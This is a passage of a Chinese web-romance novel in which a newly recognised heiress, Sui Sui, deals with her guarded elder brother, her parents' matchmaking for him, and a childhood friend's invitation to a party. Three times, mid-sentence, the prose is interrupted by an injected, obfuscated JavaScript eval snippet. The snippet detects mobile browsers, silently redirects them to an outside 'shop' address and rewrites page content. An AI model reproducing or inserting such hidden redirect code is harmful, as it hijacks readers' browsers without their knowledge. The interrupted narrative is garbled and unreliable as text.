似乎是太开心了,即使隋遂不知道这件事情到底有什么值得这么开心,但隋逾笑出声了,隋遂感受到他的愉悦,心情放松了一些。 最后,在隋遂在他的笑容中感到无所适从之前,他抬起自己的手朝着隋遂的方向去。 隋遂下意识闭上眼,浑身僵住了。 隋逾眼里的笑意更深,右手食指和中指相互用力,在隋遂的额头轻敲了一下。 没有声音,不痛的触感,隋遂甚至从这个动作中再次读出了几分纵容的意味。 而他收回手,一句话都没有说。 隋遂在电梯里还在想这件事。这到底算是同意还是拒绝? 电梯到了。 隋遂才发觉自己进电梯没有按楼层,是隋逾按的,只按了他那一层。 隋遂下意识想要去看隋逾的表情,隋逾已经先一步迈出去,声音淡淡,“过来。” 两个人虽然住上下楼,但是隋遂从来没有上来过,之前吃饭都是隋逾下楼找她,从来不会喊她上楼。 隋遂亦步亦趋地跟着隋逾,问:“你什么时候吃的药?” “……” 隋逾没有吃药,此刻单手握拳在唇边轻咳,“不记得了。” 隋逾的这套房子是标准的黑白灰装修,茶几上有几叠文件,除此之外找不到房子的主人在这里生活的痕迹。 隋遂问:“感冒药放在哪儿?” 她站在房间里还是有些拘束,但因为只有他们两个人,已经在努力让自己镇定下来。 “没有。” “……” 隋遂看了眼,直饮机是关机状态,她打开,等着烧水,又拿出手机在外卖平台买了感冒药。 等外卖的时间不久,就在小区外面十分钟左右路程的药店下单,很快就送到了。 隋逾去开门拿药,隋遂接了杯水,到茶几上坐下。 隋逾找出药看了看成分,又看向隋遂,他的目光有些停顿,似乎有话想说。 “怎么了?” “对药里的成分过敏。” “……” 隋遂表情僵住,感到非常尴尬。 “……你常吃什么感冒药?” “没有。” “吃药会好得快一点。” “都一样。” “……” 隋遂放下水杯,“我回去了,你早点休息。” “生气了?” 他还是笑着,只是失去了让隋遂感到放松的愉悦。手腕被他握住,没有用力,但肌肤相贴。 “我没有生气。”她说,“我只是不知道留在这里应该做什么。” “留在这里,不需要做什么。” “可是你不需要我照顾。” 隋遂感到难以启齿,隋逾只是认为她这么做好笑,她真像是一个大傻子。居然真的认为她能照顾他。 也对,从前没有她,一切都没有任何变化,现在也是,以后也会是这样。 隋逾坐在沙发上,需要仰头看她,她黑白分明的眸子转过各种情绪,失落,怀疑,厌烦…… “你怎么知道不需要呢?”他嘴角噙着笑意,低沉微哑的嗓音缓缓道,“小随,陪伴也是照顾。” - …… 隋遂没有认床的毛病,这天晚上却翻来覆去很长时间才睡着。 第二天早上睁开眼睛,窗外一片雪白,刺得刚睁开的眼睛有些痛,从床上爬起来,房间里已经没有人影。隋遂回到房间洗漱完又拿起手机,隋逾走到时候给她发了消息——“吃了早餐再去学校”。 隋遂手指颤动了下,回:【好】 似乎有什么东西改变了,隋遂也说不上来,但一切又没有什么不同。 隋遂回了消息,但没有吃早餐,回到楼下的房子换了一身衣服,又简单洗了个澡,找刘哥送自己到学校。 刘哥是隋逾给她找的司机,是个退伍军人。隋逾送了她一辆宾利,白色,她不会开车,隋逾就说给她找个司机。 第二天早上这辆车就停在楼下等她。 到学校时间还早,隋遂最近逃课的次数没有之前多。车停在学校,隋遂下车直接往教室走。 教室门口站着一个背影熟悉的人,隋遂正要从旁边走过,忽然一只手抓住了她的胳膊,力道不轻,拽得她整个人往后仰去,随后,像是偶像剧的剧情一样,她的肩膀被揽住,她因为惊吓瞪大的眸子充斥着紧张,一览无余地倒影在翟钦尧的眼中。 “吓到你了?” “……有点。” “能站起来吗?” “……” 隋遂没说话,下一瞬间,翟钦尧揽着她肩膀的手掌就滑到她的腰间,手掌收紧,她整个人从地上被提了起来。滚烫的触感透过毛衣传到她的腰间,好像被烙上了一个深刻的印记,隋遂整个人被这个剧烈的动作震得一时之间愣住。 翟钦尧提着她往前走,隋遂终于回过神,拍了一下翟钦尧的肩。 “你……”隋遂咽了咽口水,“我没事。” “真的?” “呃……嗯。” 隋遂的双脚接触地面,这才又看向他,“你怎么来这儿?” 翟钦尧挑眉:“不欢迎我啊?” “……” “走路来的。” “也不是问这个。” “哈哈哈……”翟钦尧笑声爽朗,“你还是这么有意思,找你有点事儿。” 上课铃声正好响了起来,隋遂看了一眼教室里面零星几个人,说:“换个地方说。” 外面太冷,翟钦尧带她去了机房旁边的谈话室。 学校对心理很重视,有专设的谈话室,暖气开得很足。 隋遂稍微将身上的大衣拉链拉开了一些,看向翟钦尧等着他开口。 “有个宴会。” “……”隋遂等着他的后续,好一会儿没有等到,看向他,就见他盯着自己笑,她有点莫名,但又忍不住也跟着露出了笑容。 时间好像突然就回到了初中时间,隋遂突然感到一阵鼻酸,看向翟钦尧,眼前一瞬间晃过很多场景,眨了眨眼睛,那些都已经过去太久了。 “你变了很多。” “谁不会变呢?” “是……”翟钦尧姿势随意地靠着躺椅,嘴角的笑容同样懒散,但仍旧能看得出一些少年的朝气和冲劲,“那天在沈家也没有跟你好好聊聊,我在学校找了好长时间都没有找到有一个叫林随的,加了好友你也没有给我发消息,我后来翻了好久好友列表都没找到你。” “……” 原来他加了好友之后一直没有发消息的原因是这个吗? 隋遂转而又想起李浥尘。他呢?翟钦尧先问她加了联系方式,可最后是李浥尘联系了她。 李浥尘……那个从她住院开始总是在她身边的人,好像已经很长时间没有出现了。 “你现在叫隋遂?” “嗯。” “怎么回事?你也是私生女?” “……比这个狗血一点,我是隋家的真千金你信吗?” “……”翟钦尧回忆了一下原本的隋家千金,嘴角抽了抽,“确实挺狗血的。” 他被接回翟家的时间不长,到现在在翟家的时间也不多。没有长辈背书,在圈子里并不出众。何况翟家已经定了下一个接手集团的人是谁,和他没太大关系,翟钦尧就算对翟家有想法,这些也轮不到他。所以即使回到了翟家也是个透明人,关系好的反而只有李浥尘一个人。 李浥尘这段时间忙得飞起,李父只有他一个孩子,他是肯定要接手李家的事业的,两个人现在都是大四,李浥尘不经常来学校,大部分时间都在公司跟着李父熟悉李氏。 “……” 两个人对视一眼,忽然两个人都忍不住笑出声。 “你先答应我。”翟钦尧说,“然后我再告诉你。” “听起来不像是什么好事的样子。” 翟钦尧挑眉,“怕我害你?” “没有。”隋遂说,“比起怀疑你害我,我更怕我不自在。” “不用你跟其他人交好,也不用你跟别人说话,你只要跟着我。” “做什么呢?” “坐着就好。” “只是坐着吗?” “这么简单的事情你为什么不去找别人?” “没有为什么——你先答应我。” 翟钦尧还是那副懒散又有点无赖的样子,好像笃定了她会答应一样,有恃无恐的模样让隋遂感到一阵好笑,或许她本应该拒绝,或者因为他这个样子感到愤怒和反叛,但不知道为什么,隋遂看着他,却完全想不起来这些。 在他面前,她就只是她,再没有其他什么附加身份,更无所谓她好或者不好,因为他本就见过她最初的样子,愚笨又无知,天真又可笑。可她那个时候很快乐,至少比现在要快乐得多。 隋遂这么想着,眼眶含着些泪,但没有聚成泪滴。 “你说。” “我上周参加了一个比赛,庆功宴你跟我一块去。”他尽量说得简单随意,像是不太在乎。 “赛车比赛?” 翟钦尧嘴角的笑意更深了,“你还记得?” 隋遂的话比大脑先行一步,此刻有些后悔,目光看向窗外,抿唇,眼帘低垂。 翟钦尧起身,瞬间挪动到了她身边,一只手握住她的肩膀,直接将她整个人都揽在了自己面前。隋遂一时不查,整个人朝他胸口扑去,一只手在她的脸贴上他的胸膛之前及时挡在两个人中间,眼睛瞪大看着他。 “我就知道你肯定记得。” 翟钦尧语气那么愉悦,眼中没有隋遂见过的猥琐的目光,全都是对于隋遂还记得关于自己的事情的惊喜,似乎这是什么天大的喜事。 这一发现让隋遂也感受到快乐,好像偷吃到了奶酪的杰瑞,她的目光定在他的脸上,跟着他一起开心。好久,已经有好长时间都没有发生这么让她感到开心的事情了。 隋遂目光怔怔,翟钦尧食指曲起,敲了下她的额头,“想什么呢?都愣住了?” 隋遂瞬间反应过来,将他推开,坐起身,“没其他事我就去上课了。” 翟钦尧拉住她的手腕,仰头看向她。 隋遂顺着他的动作低头,首先对上他的眼睛,之后才是他的脸,他的表情,出乎意料,从这张张扬到毫不避讳的脸上,她竟然看到了乖巧的神色,熟悉的,让她怀念的。隋遂手腕动了动,翟钦尧收回手。 “拿你手机给我发个消息呗。” 隋遂找出自己的手机,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469802|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的列表一共没几个人,翟钦尧又是这么长时间以来加的唯二好友之一,很快就找到了他的账号,发了消息过去,很快消息旁边出现了一个感叹号。消息下面显示—— 你还不是他(她)朋友,暂不可进行聊天。是否发送好友申请? “……” 隋遂点了是。 翟钦尧打开手机,看到好友验证愣了愣,难怪后面回去好长时间没找到账号,合着就不在她列表,他居然一直没发现。 他点了通过,随后将另一个群里的邀请消息转发给隋遂,说:“到时候我去接你。” 隋遂点头应了声好,从谈话室离开。手机里翟钦尧的消息显示,宴会在这周六晚上,地点是一处定位。她不喜欢宴会,但还是答应了。隋遂又开始想起翟钦尧,本以为他变了很多,可刚刚一瞬间,又好像没有改变什么,还是和从前一样。 - 晚上隋逾下班很早,刘哥过来接她没有直接开车回公寓。 隋遂没有记路的习惯,但明显越走越陌生的路还是让隋遂感到奇怪,“去哪儿?” “回老宅。”刘哥说,“夫人让你们回去吃饭。” 这话隋遂不相信,曾夫人最多只会主动喊隋逾回去吃饭,至于她?可有可无罢了。 每次都是这样,隋遂已经习惯。她严重怀疑隋逾是不想一个人回去面对相亲局,所以才会每次都带着她一起,让那些千金亲眼看到她之后谨慎选择。 平心而论,假如她是和隋家差不多的家庭,又必须选择一个人强强联合,那选择隋逾完全是上佳的选择,虽然无趣了点,但洁身自好,工作能力和长相都很优越。 隋遂到隋家的时候,隋逾还没回,看了一眼客厅坐的几个人,她没有打招呼,继续往房间走去,曾夫人的目光一直在她身上,一直到她的身影消失在楼梯口才收回目光。 坐在曾夫人身边的人依旧是郑芯媛,与隋遂第一次见到她相比,现在看起来更多了几分柔美的气质,大约是这段时间和曾夫人相处的时间多,两个人站在一起更多了几分熟稔。 “这孩子,这么长时间还是这样,唉。” “阿姨,她回来的时间不长,而且这么多年都受委屈了,你是她母亲,大概是现在还没想通,等她想通,就好了。” “要真像你说的那样就好了。”曾夫人一副为此困扰费心的模样,如果是隋遂站在这里,大概会忍不住冷笑出声。 但不管怎么说,曾夫人不喜欢给外人诉苦,就算是再不喜欢隋遂,到底还是顾及着隋家的面子,不会说什么。 郑芯媛又安慰了曾夫人好一段时间,两个人交谈甚欢。汽车声音再次出现,两个人朝外看去,隋父从车上走下来。隋父已经很长时间不去公司了,现在处于养老状态,每天和从前的老朋友一块聊天下棋,今天是一个从前势均力敌的对手亲自邀请他过去喝茶,隋父去赴约。 说是喝茶,但真正是什么他们两个人都清楚,隋家的公司这些年一直在跟着政策不断调整公司的策略,这些年的发展一直都比曹家好,所以这次喝茶,其实也是询问一个合作的机会。 茶喝完,隋父内心十分感触,又忍不住生出一股怅然和庆幸,甚至还有些得意。 隋父一直都认为自己是一个幸运的人,这些年也确实是这样,除了隋遂这个意外,他其余的一切都是所有人这一生梦寐以求的东西。 当年林家也不是没有暗示过让两家可以一起联合,但最终还是因为发展理念放弃,林家只有一个女儿,这次见面之后确实还不错,但是这些还是要再问问隋逾的态度。 到家后,隋父换了鞋,注意到曾夫人还在和郑芯媛聊天,眉头微微皱起,曾夫人已经和他生活很多年,立刻意会了他的意思,转头和郑芯媛说:“今天天色也差不多了,我让老陈送你回去。” 郑芯媛笑着站起身,这么明显的话她当然不会听不出来,郑芯媛不是一个看不懂别人眼色的人,不然不会受到曾夫人的喜欢。 等郑芯媛离开,隋父才看向曾夫人说:“之后还是少让外人过来。” 隋父之前可不是这么说的,曾夫人看向他,做出询问的表情:“怎么了?” 隋父摆摆手,“一会儿说。” 曾夫人接过他递过来的外套挂在衣架上,“我也去看看厨房,今天加个菜吧。” 隋逾一直到天色完全暗下来才回来,客厅只有曾夫人和隋父两个人,曾夫人正在织毛衣,隋父在看新闻联播。曾夫人会织毛衣,但是隋逾从生下来到现在都没有穿过曾夫人织的毛衣。隋父一直有看新闻联播的习惯,甚至有时候还会反复看反复研究国家政策,他一直是个谨慎的人,到现在也还是这样。 “怎么现在才回来?” “有点事。” “公司的事?” “不是。” 隋逾换完鞋,这句话也刚说完,隋家的公司一直是同类型公司里比较卷的一个公司,但福利给的太足了,员工粘性高。 对于一个稳定的企业来说,事情全都分配下去,本身留给自己的工作反而没有那么多,也不会忙到那种程度。 过了最初的创办期,公司步入正轨之后,隋父就再没有忙碌到没有时间回家吃饭了。 “随随呢?” “一回来就上楼了。”曾夫人讲起她就忍不住抱怨起来,“还以为你带着她出去住,她能学学规矩,没想到越来越没规矩,到现在见到我连声妈都不喊了。” 隋逾没说这个,“我上去看看她。” “快点,下来吃饭。” “好。” 8. C08 你以为你是救世主吗 08/ 外面的车引擎声停下,隋遂意识到隋逾回来了,但一直没有听到家里用人的敲门声,所以她没出去。 隋遂一直都觉得自己想的很清楚,就算隋逾现在对她还不错,好像真的将她当成了自己的妹妹,可是这么多年的空白是抹不掉的,那些原本她可以拥有的东西,因此也不再属于她。 敲门声响起,隋遂应:“马上就下去。” 她趴在床上,一只手扒拉手机,聊天界面有翟钦尧发过来的新消息,她一直没想好要怎么回,但还是盯着消息看。 翟钦尧:【明天晚上我去接你,你现在住哪儿?】 翟钦尧:【发个定位。】 随后是门锁被打开的声音。 隋遂没有锁门的习惯。这个习惯来源于从小到大都没有自己独立的空间,她不具备锁门的权力,从小在林家所有的房间都是公用空间,她在家里是不能不穿衣服睡觉的,因为她住的房间是书房,林琦会每天早上起来打游戏。她因此也失去睡懒觉的资格。 如果要问为什么林琦自己不住在书房,原因是书房面积小,床也小,对于林琦来说睡着不舒服,但对于林随来说就没有这个顾虑了,一方面林随没有林琦长得高,另一方面——林家没有那么多房间去在乎林随的想法。不睡可以,别睡了那就。 如果要问为什么不把电脑搬去林琦自己的房间,这是林父和林母为了防止林琦染上网瘾,彻夜打游戏故意而为,但即便是这样,也并没有让林琦最后考上一个好大学。林琦依旧在高中毕业之后只考上了一个本地的专科,混了两年出来,现在才靠隋家有了份工作。 这么看,好像她果然是更适合待在林家,和林家人一样不具有太聪明的头脑和太开明的见识。 隋遂语气厌烦:“我很快就下去。” 隋逾:“是我。” 隋遂一骨碌从床上爬起来,脑袋因为刚刚在床上滚头发有点乱,她的右边额头有个旋,有几根头发翘起来,有点呆萌。隋逾见到就忍不住露出笑,伸出一只手帮她理了一下头发,但那几根头发还是不听话地翘起。 隋逾的笑容更愉悦,还是拍了拍她的肩,“吃饭去。” “好。”隋遂坐起身,穿上鞋,走在隋逾身后,一起去楼下,曾夫人见到她跟着隋逾,没有说什么。四个人坐下来开始吃饭。 今天没有林珠,林珠这段时间在实习,所以在外面租了房子,实习的地方也是隋家的公司。隋家的公司离隋家的老宅有不近的距离,曾夫人也已经有好几天都没见她了。最近陪她的人是郑芯媛。 “唉,你回来也不带上珠珠,你们这么多年都是兄妹相处,以后也不能生分了。”曾夫人说,“最近天冷了,你也要注意身体,这次出差是不是瘦了?” “还好。”隋逾回应冷淡。 隋父咳嗽了两声,扫了曾夫人一眼,什么都没说,曾夫人就没有再说话了。 这顿饭沉闷地吃完。 隋父和隋逾都不是善谈的人,何况对着隋遂和曾夫人大谈公司或政策,国家大事或者世界新闻,无论如何听起来都十分奇怪,这两个人对这些都不是感兴趣的人,即使真正聊起来,也容易尬场。而曾夫人聊的话题,对于隋父来说,都是让他们四个真正的隋家人氛围变得僵硬和对立的话题。 隋父谈不上不喜欢隋遂这个女儿,至少从寥寥几次见面中,隋遂留给他的印象都很模糊,当然也很一般,就和他匆匆见过几次的下属一样,再不体面,他也不在意。当然更谈不上喜欢,一个没有相处时间,更没有体现自己价值的女儿,于他而言,也无法因为血缘就亲近喜欢。 “跟我去书房。” 吃过饭,隋父对隋逾说。 “嗯。” 两个人很快上楼。 曾夫人也上楼去健身房,她每天晚饭之后都会锻炼,她对自己的优势很了解,并且绝对不会让自己陷入完全被动的状况。 隋遂在所有人都上楼后,等用人将桌子上的残羹收拾干净,又给自己接了一杯水,喝完才上楼。 她的房间在最里面,原本是一个杂物间,当然,作为杂物间也是因为家里有很多房间,又没有那么多人,所以说是杂物间,其实只是一个空房间。 她的身份尴尬,客房不合适,林珠不搬走,当然即使不搬走,她的房间同样不合适。最终从二楼的拐角收拾了一间屋子出来,只要搬张床进去就能睡,她原本的东西不多,从林家出来就只有一个麻袋,那麻袋是林家装棉被用的。 路过书房,房间门没有完全关严。隋遂自认并不好奇他们的谈话内容,但是在听到自己的名字之后,还是忍不住停住了脚步。 “……隋遂绝对不行,我不管你是怎么想的,她的秉性这么长时间也没什么改善,何况她从小生长在林家,林家的人你很清楚是什么样子,我知道你对她不错,我也提醒你,到此为止,隋家的公司,只能姓隋。你是怎么想的我不管,但这件事绝对不行。” “爸,我有分寸。” “我看你是这一路都走得太顺了,就以为自己想的都能成真的。” “我会看好她……” “我不需要你看着她,她只要在隋家一天,就绝对不会饿死,等她毕业了,给她两栋城西的房子,每个月给她发零花钱,已经比外面多少人幸福了。至于公司的事,你想都别想。” “爸……” “好了,这件事我不想再谈,我也对隋遂这段时间的表现没兴趣,一个从小就不在隋家长大的人,不可能对隋家有太深的感情,你也不用太上心。”隋父声音冷淡且坚定,“我听素珍说每次让你回来见郑小姐你都带着隋遂一起?” 隋父的眉头皱起,看向隋逾的表情也有些不满,不管隋逾多不想相亲,都不得不承认,一个稳定的后方才是继续往前走的基础。隋逾对相亲的态度也让隋父有了些不满。 “你曹伯伯的女儿刚从瑞士留学回来,你准备一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469803|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天我们一起去度假村。” “……”隋逾皱眉。 “不愿意?” “我的事情,我有打算。” “你有什么打算?你的打算就是把隋遂带在身边,让本来对你有意思的千金提前忌讳吗?” “爸,她是我妹妹。” “她当然是你妹妹,她也是我的女儿。你们都成年了,成年兄妹也要保持彼此的距离。”隋父看着他哼了一声,“我看你根本是这些年没有接触过女人,才拎不清轻重了。” “爸——” “你要是真把我当你爸,这件事你就不该拒绝。”隋父目的很清楚,“明天中午出发,去度假村住几天。” 隋逾一直没说话,隋父想了想,又安抚:“你曹伯伯的女儿我见了,是个知书达理的好女孩,你会喜欢的。公司现在不需要你操心太多,这件事早该提上日程了,别让我和你妈路都走不动才见到你生孩子。” “……我知道了。” 没有拒绝的余地,那些能拿出来的理由,隋父都不会接受,再这么说下去就该吵起来了。 “爸,早点休息,我就先回去了。” “嗯。” 隋遂立刻惊醒,快步从书房离开。 看来隋父和曾夫人都各自有自己喜欢的人选,不过看曾夫人的态度就知道,不管曾夫人现在是怎么想的,最后还是隋父做决定。 至于她,这些事情本来就和她没什么关系。 隋遂不知道隋逾的态度是什么,但一定就像这次一样,最后还是接受了隋父所说的一切。 他的一切都来自于隋家,最后也会回到隋家。 这本身并没有什么问题。 有问题的是她。 隋遂的内心有一种猛烈的失落感,很强,几乎席卷全身,即使这件事本身并没有什么值得她感到失落的地方。连同一种即将被抛下的痛苦,让她的内心仿佛深色像是褶皱的黑丝绒一样的海面,看似平静,实则暗藏汹涌。 她在期待什么吗?期待隋逾在隋父的面前维护她?还是期待隋逾拒绝隋父的要求?她或许从来就不应该期待什么,她从来都是一无所有。阳光照在她身上,也照在别人身上,而太阳从来不是她的。 隋遂回到房间给翟钦尧回消息。 隋遂:【好。】 隋遂:【定位/】 翟钦尧;【在干什么?】 隋遂:【刚吃过饭。】 翟钦尧:【要不要出来玩?】 隋遂:【不要,睡觉了。】 翟钦尧:【晚安。】 摁灭手机,隋遂洗漱完,躺在床上继续胡思乱想,到底在焦虑和不安什么,她仍旧是模糊的,只有感受那么深刻清晰。 关掉手机,她躺在床上好一会儿,突然听到门口开锁的声音,她纠结了好一会儿,最后躺在床上,当作已经睡着。身后是平稳的脚步声,一直到床边停下,一直没有开口,让隋遂怀疑是不是自己听错。 9. C09 你以为你是救世主吗 09/ 紧接着就是熟稔的语气:“我知道你没睡着。” 隋遂再装不下去,坐起身,抬头看向他,没有开灯,只能看到他湛亮的双眸,在黑暗中诉说着别样的东西。也许是她太迟钝,或者是他太逾越,他们本就不是太亲近的关系。 这个世界上真的会有一见如故这回事吗?隋遂没有经历过,因此不愿意相信。 连从小到大一起长大的哥哥也没有太过关心她,又怎么能让她相信隋逾是真的在关心她而不是其他。血缘当真是那么奇妙的东西吗?就连时间也能跨越? 只是到现在,她仍旧不知道自己到底还有什么利用的价值。 至于喜欢,或者只是出于亲人的关照,说是天方夜谭也不为过。 隋家的老宅远离市区,最初只是一个工业区,后来荒废了,隋父拍下这块地,后来才建成了如今的南湖湾,现在是宁城居住率最高的一个别墅区。 寒冬天,昨天刚下过雪,寒意从窗外徐徐渗入。 在这个宁静的夜晚,一切都变得很慢,隋逾的动作,隋逾的表情,隋逾的眼神……缓慢到焦灼。 隋遂思考自己要不要说点什么,或者做点什么让氛围别再如此奇怪。 “你都听到了。” “什么?” “随随,你真的很不适合装傻。” “……”隋遂问,“你到底想说什么?” “明天早点收拾东西。” “为什么?”隋遂短暂地愣住,很快反应过来他说的是什么,“我不想去。” “呵。”隋逾短暂笑了一声。 隋遂垂眸,忍不住说:“爸爸说的也没错,我也不理解为什么每次妈给你介绍相亲对象的时候,你都要带上我。我们都长大了,也应该有自己的生活,何况我们原本也不算太熟,就算你不管我也没关系,你本来就没有管我的义务……” 这是真心话吗?一部分吧。一定不是全部,否则她的失落和此刻的自暴自弃无从解释。 拒绝隋逾不是她的本意,这些抱怨也不是。可是她已经不能拥有更多,于是习惯性将所有的东西都推开,好的坏的,已经得到的,未来要失去的,她都不要了。她什么都不想要了。 房间好像变得更冷了,今天晚上的暖气烧得不足。隋遂说着说着不自觉停下了自己的话。目光在自己颤动的手指上停留。 “还有呢?把你想说的一次性说完。”隋逾嗓音很淡,有些笑意,但很冷,“我还以为你什么都不在乎,原来只是懦弱到不敢吭声。继续讲,让我听完再告诉你答案。” - “在哪儿?我过来接你。” 隋遂刚接通电话,翟钦尧的声音迫不及待似的从电话里冲出来,好像两个人已经很熟了。这种感觉很奇怪,但意外的,隋遂并不反感。 隋遂有点被动,仍旧不影响她很快回答。 “我现在不在市里,我在半月湖度假村。” “你怎么突然去了那儿?” “见了面再说,你能过来接我吗?” “必须的,绅士怎么能让淑女从那么远的地方过来。”翟钦尧还是那个散漫又不正经的腔调,“等着啊,哥马上到。” 挂了电话,隋遂松了口气。 给翟钦尧发消息的时候她很纠结,真正听到翟钦尧的声音,一切都不是那么重要了。 翟钦尧的声音总是让她感到真正的亲切,现在的生活对她来说太虚幻太游离了,可是在翟钦尧身边,她真正感受到舒服和真实。 度假村的停车场在地下,隋遂坐电梯下去,站在楼梯口等着,地下室灯光通明,隋遂拿着手机看最近的消息,翻到林琦刚发的动态,他正在滑雪,地址是挪威。隋遂忍不住将他发的照片点开放大看。 肩膀突然被拍了下,隋遂手指不自觉点了两下手机,回头,是隋逾。 隋逾今天穿着一件黑色的毛呢大衣,里面是衬衫叠穿羊毛T恤,衬得整个人多了几分清俊。他抬起手,手指在她的脸颊轻轻划过,温暖的触感让隋遂打了个颤。 隋遂再次低头,发现自己刚刚手指颤动给林琦点了个赞。她一慌,立刻取消了点赞,随后又觉得自己这番动作简直像是做贼心虚,又重新点了个赞。 “怎么在这儿?” “等人?” “嗯?” 隋逾笑得温和,“去上面等。” 隋遂后退了一步,隋逾身上的那股隐约的须后水的味道不再将她包围,如此亲近的距离,令隋遂感到强烈的不安,就像她现在也不知道为什么她不想让隋逾知道翟钦尧的事情,这种感觉来得毫无由来,但又如此迅速。 几乎是让隋遂瞬间就做出了决定。 “没事。”她抿唇,犹豫了下又说,“你先上去,我等会儿。” 隋逾的目光锁定在她的脸上,不放过她一丝一毫的不自然的表情,隋遂大概自己都不清楚,她在不想说谎又不能不说话的时候就是现在这样,努力做出一副镇定的表情,可是颤动的睫毛,微微翕动的鼻尖早就暴露了一切。 很可爱。 这是他的妹妹。 这个念头又忍不住冒出来,其中还有些什么,隋逾没有分辨,或许也不需要分辨,总之,这是他的亲人。他会照顾她,让她免除那些伤害。 “很重要的人?” “没有。”她毫不犹豫,听起来不像是否认,倒像是被戳中之后的应激反应,“……不是。” 隋逾眯了眯眼睛,“随随。” “不是。”她再次重复,低喃,“一个朋友。” 原本以为是上次在宴会上认识的朋友,或者是隋遂觉得她自己在这里太孤单,所以找朋友过来陪她。 可她否认了,却又那么模糊不清。 “要出门?” “嗯。” “什么时候回来?” “……” 她也不知道。她没有问。 那天答应翟钦尧是意外,在她什么都没有来得及准备的时候,意识和冲动就先行一步掌握她的大脑和话语支配权,而她没有丝毫的后悔,带着一些连她自己都搞不懂的决心。 她不准备追究。就这样吧,也没有什么不好。 就当是……为了曾经的那个好像春风一样的梦境。 如果现在的一切都是假的,那她如今做的选择也是,一切都是假的。 “林随?” 一辆车经过两个人身边,车还没熄火,翟钦尧的声音穿过两个人。 隋遂点头。 身边的隋逾突然拽住了隋遂的手腕,力道有些大,隋遂轻轻挣脱,有了些效果,隋逾力道松了一些,但还是没有松开手。 “以前的朋友?” “嗯。” 隋遂往前走了一步,手腕还在隋逾的掌中,她再次挣脱,这次却没有任何改变。 隋逾也往前走了一步。 翟钦尧见此,从车上走下来。 之前还没有见过隋遂的其他亲人,这是第一次。翟钦尧听说过隋逾的事情,他好像从来都活在长辈的口中,神话一般的人物,即便从来都没有什么接触,却从来不妨碍任何人在见到他之前,先立起三分敬意。 “隋总。”翟钦尧打招呼,“我是翟钦尧,隋遂的同学。我来找隋遂出去玩。” 上次隋遂已经介绍过她的身世情况,不过翟钦尧还是更习惯喊隋遂之前的名字,更熟悉,在思考之前就已经先脱口而出。 隋逾淡淡“嗯”了一声,“去哪儿?” 翟钦尧是面对着隋遂站的,而隋逾就站在隋遂的身边,隋遂第二次没有挣脱隋逾的手掌之后就没有再动作,此刻人再次挣扎了一瞬,隋逾松开了手。 隋遂走到了翟钦尧的身侧站定,看向隋逾。 和刚才完全相反的局面,隋逾一瞬间几乎想要笑出声,甚至有些觉得自己是棒打鸳鸯的那根棍,或者阻止牛郎织女见面的王母。总之,一定不是一个正面角色。这绝对不是他的错觉。 再看隋遂的表情就知道,她似乎是在担心他说些什么,或者做出什么事情让翟钦尧难堪,所以此刻像是守护者一样站在翟钦尧的身边。 而这个男孩…… 说男人未免太成熟,他的年龄不大,身上还有些少年人的稚嫩,就连打招呼的语气中都是张扬和不羁。这些独属于年轻人的气息他离他已经太远。 “西港外。”他说。 “几点结束?” “十二……十一点。”在隋逾面前,明显翟钦尧也不太自在,但还是比隋遂好很多,隋遂在隋逾面前太拘束,像是下属,而不是妹妹。 隋逾目光只是淡淡扫过翟钦尧,最后还是落在了隋遂的脸上,说:“到时候我来接你。” 隋遂刚要应声,翟钦尧先开口:“隋哥,你是隋遂的哥哥,那我也斗胆叫您一声哥。到时候我送她回来。” 隋逾轻笑了声。但没说话。 沉默可能有两秒,或许这不足以构成僵持,隋遂感到不自在。很快,她先开口:“到时候我给你发消息,你让刘哥来接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469804|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。” 隋逾嗯了一声,“好好玩。” 隋遂垂眸,没说话,隋逾往电梯方向走去。大衣下摆随着步履轻扫,掠过隋遂的心尖,勾勒出他挺拔深沉的利落线条,有些萧索,她的心有些压抑。 “走?” 翟钦尧从她的身后拍了拍她的肩膀,姿态亲呢,虽然没有说什么安慰的话,但瞬间将她从刚刚失落的瞬间拉出来。 “走啊。”隋遂抬头朝他露出一个笑,倒是让翟钦尧怔了怔。 “你应该多笑笑,几次见你都是苦大仇深的样子,别人有钱都会笑出声来,你倒好,成了有钱人反而一点都不高兴。” “我没有不高兴。” 她觉得她说是是真心话。 “你有。”翟钦尧很肯定。带着隋遂走到车边,他拉开车门,“你开心的时候不是这样。” 隋遂没有说话,任何人被这样的大奖砸中都会高兴的。而她,简直像那只被不小心从瓶子里放出的恶魔,那些所有的感激和快乐都在到了隋家后很快被磨灭,只剩下阴沉和沉默。 是她太贪心吗? 隋遂不知道 翟钦尧的语气不是责怪和嫌弃,让隋遂感到轻松了一些。 